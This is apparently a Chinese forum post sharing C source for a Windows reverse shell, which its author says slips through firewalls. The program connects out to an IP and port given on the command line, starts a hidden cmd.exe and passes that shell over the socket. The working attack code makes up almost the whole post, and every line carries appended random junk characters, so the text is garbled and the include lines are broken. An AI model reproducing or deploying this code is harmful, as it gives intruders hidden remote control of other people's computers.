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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0|{U"\  
`q eL$`  
/* ============================== Pp GNA  
Rebound port in Windows NT xP'IyABx  
By wind,2006/7 =rgWO n8  
===============================*/ #'<I!G  
#include h^>kjMM  
#include -p ) l63  
O6OP{sb  
#pragma comment(lib,"wsock32.lib") 9Pd~  
% @Ks<"9  
void OutputShell(); fB"3R-H?O  
SOCKET sClient; S#+G?I3w  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K4n1#]8i  
&tD`~  
void main(int argc,char **argv) ?9!tMRb  
{ N)  {  
WSADATA stWsaData; ;lX:EU  
int nRet; D{.%Dr?  
SOCKADDR_IN stSaiClient,stSaiServer; @D"#B@j  
q) /;|h  
if(argc != 3) *8/Q_w  
{ 2{p`"xX  
printf("Useage:\n\rRebound DestIP DestPort\n"); p/lMv\`5  
return; GQ|kcY=  
} -5v c0"?E  
z}C#+VhQ`  
WSAStartup(MAKEWORD(2,2),&stWsaData); N,'JQch},8  
(L|SE4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [X^JV/R  
v.6" <nT2  
stSaiClient.sin_family = AF_INET; 7!oqn'#>A  
stSaiClient.sin_port = htons(0); =oT@h 9VI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U]hQ#a+  
Ffj:xZ9rk  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r=L9x/r  
{ qR]4m]o  
printf("Bind Socket Failed!\n"); B[4y(Im  
return; $'9r=#EH  
} DGHX:Ft#  
gSR&CnqZ<  
stSaiServer.sin_family = AF_INET; -ZQ3^'f:0J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e,~c~Db* Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tsfOPth$*  
GeHDc[7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?]9uHrdsN}  
{ ~g|e?$j  
printf("Connect Error!"); ;\<?LTp/r  
return; 'b661,+d  
} '12|:t&7  
OutputShell(); #(aROTV5a  
} j{U-=[$'  
+o'. !sRH  
void OutputShell() y\0^c5}  
{ m qw!C  
char szBuff[1024]; n;Iey[7_E`  
SECURITY_ATTRIBUTES stSecurityAttributes; HENCQ_Wra  
OSVERSIONINFO stOsversionInfo; }(o/+H4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J1R%w{  
STARTUPINFO stStartupInfo; "BFW&<1  
char *szShell; TJ; v}HSo  
PROCESS_INFORMATION stProcessInformation; )D[xY0Y~  
unsigned long lBytesRead; 'E&K%/d  
!@YYi[Gk  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [qZ4+xF,,  
A+F-r_]}db  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KFfwZkj{  
stSecurityAttributes.lpSecurityDescriptor = 0; q yJpm{  
stSecurityAttributes.bInheritHandle = TRUE; rk. UW  
"V^jAPDXb  
Y 4714  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zcZw}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rSJ}qRXwU  
A.h?#%TLL  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D$mrnm4d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kW:!$MX!  
stStartupInfo.wShowWindow = SW_HIDE; }`M6+.z3F  
stStartupInfo.hStdInput = hReadPipe; M^[ jA](a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g8x8u|  
F"F(s!  
GetVersionEx(&stOsversionInfo); 0[i]PgIH  
hN:Z-el  
switch(stOsversionInfo.dwPlatformId) (qG$u&  
{ MnS"M[y3  
case 1: _0f[.vN  
szShell = "command.com"; Z*QRdB%,  
break; Y$Ke{6 4  
default: y@Or2bO#  
szShell = "cmd.exe"; gU%GM  
break; 5;Z~+$1  
} e5/_Vga  
n^%u9H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }rQ*!2Y?  
)~n}ieS  
send(sClient,szMsg,77,0); "D/ fB%h`  
while(1) #RD%GLY  
{ C,]Ec2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !I Nr  
if(lBytesRead) o99 a=x6  
{ hf-S6PEsM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Mzd}9x$'J  
send(sClient,szBuff,lBytesRead,0); \'KzSkC8  
} `WT7w']NT  
else xle29:?l  
{ F)IP~BE-k  
lBytesRead=recv(sClient,szBuff,1024,0); A^7!+1*K+  
if(lBytesRead<=0) break; QHh#O+by#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4jW{IGW  
} o (zg_!P  
} ;$i'A&)OC  
N#:"X;  
return; )'g vaT  
}
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